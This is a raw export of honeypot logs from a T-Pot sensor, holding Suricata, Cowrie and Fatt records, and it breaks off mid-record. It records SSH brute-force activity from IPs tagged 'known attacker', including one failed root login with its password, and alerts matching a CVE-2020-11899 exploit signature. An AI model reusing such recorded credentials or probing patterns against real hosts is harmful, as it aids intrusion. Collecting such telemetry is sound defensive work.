36948	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:16.718132+03	2021-09-20 15:30:02.963869+03	{"_id": "BQYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 580}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:16.718132Z", "@timestamp": "2021-09-20T12:18:16.718Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36949	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:16.721699+03	2021-09-20 15:30:02.965869+03	{"_id": "BwYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 670}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:16.721699Z", "@timestamp": "2021-09-20T12:18:16.721Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36950	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:16.72254+03	2021-09-20 15:30:02.966868+03	{"_id": "CgYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:16.722540Z", "@timestamp": "2021-09-20T12:18:16.722Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36951	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:17.200614+03	2021-09-20 15:30:02.967867+03	{"_id": "FgYkA3wBvYTbRNuEh2b0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 10, "bytes_toclient": 0, "bytes_toserver": 960}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:17.200614Z", "@timestamp": "2021-09-20T12:18:17.200Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
36952	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:17.198983+03	2021-09-20 15:30:02.969873+03	{"_id": "EgYkA3wBvYTbRNuEh2bz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:17.198983Z", "@timestamp": "2021-09-20T12:18:17.198Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36953	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.318672+03	2021-09-20 15:30:02.970868+03	{"_id": "-AYkA3wBvYTbRNuEgGUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:15.318672+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 101}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1024484924972240, "payload": "AAAAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgVsb2NhbAAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T12:18:15.318672Z", "@timestamp": "2021-09-20T12:18:15.318Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B.local....."}}	1	\N	\N	alert	\N	\N
36954	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.314212+03	2021-09-20 15:30:02.972866+03	{"_id": "-QYkA3wBvYTbRNuEgGUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:15.314212Z", "@timestamp": "2021-09-20T12:18:15.314Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36955	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:16.716909+03	2021-09-20 15:30:02.973867+03	{"_id": "DAYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:16.716909+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0001", "flow_id": 1605383546794093, "payload": "IAAAAP6AAAAAAAAAJUa1YjrwnwI=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 136, "timestamp": "2021-09-20T12:18:16.716909Z", "@timestamp": "2021-09-20T12:18:16.716Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": " ...........%F.b:..."}}	1	\N	\N	alert	\N	\N
36956	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:16.720162+03	2021-09-20 15:30:02.974869+03	{"_id": "BgYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:16.720162Z", "@timestamp": "2021-09-20T12:18:16.720Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36957	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:16.725404+03	2021-09-20 15:30:02.975869+03	{"_id": "CAYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:16.725404Z", "@timestamp": "2021-09-20T12:18:16.725Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36958	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:16.726306+03	2021-09-20 15:30:02.976869+03	{"_id": "CwYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:16.726306Z", "@timestamp": "2021-09-20T12:18:16.726Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36960	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:18:30.505911+03	2021-09-20 15:30:02.979867+03	{"_id": "RAYkA3wBvYTbRNuEuWa9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6f90724c74bc", "@version": "1", "timestamp": "2021-09-20T12:18:30.505911Z", "@timestamp": "2021-09-20T12:18:30.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36961	113.105.80.34	109.199.241.180	Suricata	2021-09-20 15:18:30.505191+03	2021-09-20 15:30:02.980868+03	{"_id": "RQYkA3wBvYTbRNuEumbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1680670029345959, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53104, "dest_port": 22, "timestamp": "2021-09-20T12:18:30.505191Z", "@timestamp": "2021-09-20T12:18:30.505Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36962	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:30.229898+03	2021-09-20 15:30:02.981867+03	{"_id": "SgYkA3wBvYTbRNuEvGYB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53104, "timestamp": "2021-09-20T12:18:30.229898", "@timestamp": "2021-09-20T12:18:30.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36963	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:18:31.53046+03	2021-09-20 15:30:02.982867+03	{"_id": "TwYkA3wBvYTbRNuEvWam", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "20edfaad0f5c", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:18:31.530460Z", "@timestamp": "2021-09-20T12:18:31.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36964	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:18:31.708301+03	2021-09-20 15:30:02.984869+03	{"_id": "UAYkA3wBvYTbRNuEvWam", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [root/meng] failed", "session": "6f90724c74bc", "@version": "1", "password": "meng", "username": "root", "timestamp": "2021-09-20T12:18:31.708301Z", "@timestamp": "2021-09-20T12:18:31.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36965	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:18:31.81541+03	2021-09-20 15:30:02.986867+03	{"_id": "UgYkA3wBvYTbRNuEvmau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:31.240699+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1775657526209595, "payload": "AAADzAYU33soybywBV1MEoVbkihBfgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2331, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:31.815410Z", "@timestamp": "2021-09-20T12:18:31.815Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......{(....]L..[.(A~...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36966	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:18:31.81541+03	2021-09-20 15:30:02.988868+03	{"_id": "UwYkA3wBvYTbRNuEv2aj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": 